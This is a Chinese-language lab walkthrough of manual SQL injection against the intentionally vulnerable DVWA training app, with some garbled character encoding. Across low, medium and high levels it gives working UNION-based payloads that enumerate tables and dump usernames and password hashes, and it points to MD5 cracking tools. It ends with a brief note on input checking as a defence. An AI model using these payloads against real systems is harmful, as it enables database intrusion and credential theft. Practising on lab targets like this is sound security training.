DVWA--V1.9,SQL注入手動測試
Low SQL Injection
輸入1 or1 = 1,并沒有值得期待的東西出來,看來數(shù)字型是不可以了,繼續(xù)測試
加個引號輸入1‘之后,報錯,可以看到1’變?yōu)?'1''',說明sql語句為select first_name from users from id = '1',此時因為多了一個'而報錯(在sql語句中,字符串被''所包),看來有戲
查看源碼,,符合我們的猜想:
進(jìn)行注入
輸入:1' or '1' = '1
接下來就是執(zhí)行SQl語句:
首先查詢有多少列,這里提供了里兩種方法,(當(dāng)然,這里只是在測試平臺上,實際情況中,情況往往要更為復(fù)雜,可能會有上百列,那時候我們可以利用Python腳本來幫助我們執(zhí)行這一過程)
輸入%' or 0 = 0 union select 1,2 #
first name為第一列的值,surname為查詢結(jié)果第二列的值
order by 3
查詢信息的列數(shù),當(dāng)后邊所跟數(shù)字超過字段數(shù)時會報錯
%' or 0 =0 union select null,version()#
1' and 1=2 union select version(),database() --
利用ersion(),user(),database()函數(shù)來獲得數(shù)據(jù)庫信息
%' or '0' = '0' union select null,table_name from information_schema.tables#
1'or1=1 union select null,table_name from information_schema.tables#
information_schema是一個存儲了其他數(shù)據(jù)庫列信息的數(shù)據(jù)庫
有一個user數(shù)據(jù)庫
%' or 1 = 0 union select null,concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users'#
顯示所有users表中的列,包括user_id,first_name,last_name,user,password
0x0a是新建一行的ASCII十六進(jìn)制代碼。使用它來分離用戶名稱和密碼。更多關(guān)于ASCII表可以查看http://www.bluesock.org/~willg/dev/ascii.html。
與數(shù)據(jù)庫中的列信息比較,相同
%' and 1=0 union select null,concat(first_name,' ',last_name,' ',user),password from users#
'union select concat(first_name,' ',last_name,' ',user),password from users#
'union select user,password from users --
%' and 1=0 union select user,password from users#
得到用戶名與密碼
Medium leval:
相比于低級的DVWA,中級的在源代碼中多了$id = mysql_real_escape_string($id);
有關(guān)他的用法,可以參考http://php.net/manual/en/function.mysql-real-escape-string.php,這里不做過多講解,大概知道他是可以過濾掉一部分字符,\,'等;
而且增加了一個select選項,去掉了輸入框
使用另外一種類型的注入方法:數(shù)字型注入
使用firebug直接修改select的值
payload: 1 or 1 = 1 union select user,password from users #
High leval:
查看源代碼,發(fā)現(xiàn)id是直接取自所輸入的值,沒有做過多更改
Limit1表示只需要一行數(shù)據(jù)
采用low leval的方法進(jìn)行注入,payload: ' union select user,password from users #
得到的密碼是MD5加密的,解密的話可以網(wǎng)上找在線解密MD5各種網(wǎng)站,搜索框輸入CMD5即可:
或者可以使用John the Ripper這款工具來破解,
后記
在某一版本的DVWA中的高級SQLI中,部分源代碼如下
$id = $_GET['id'];
$id = stripslashes($id);
$id = mysql_real_escape_string($id);
if (is_numeric($id)) {
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
相比于Medium,增加了兩個函數(shù),stripslashes($id);刪除了反斜杠,if (is_numeric($id))檢查了變量是否為數(shù)字,告訴了我們應(yīng)該如何防止SQL注入,防止SQL注入可以簡單總結(jié)一下,檢查用戶輸入,用戶輸入的應(yīng)該是程序員所希望輸入的,而不是其他的一些字符,同樣也適用于XSS等Web漏洞。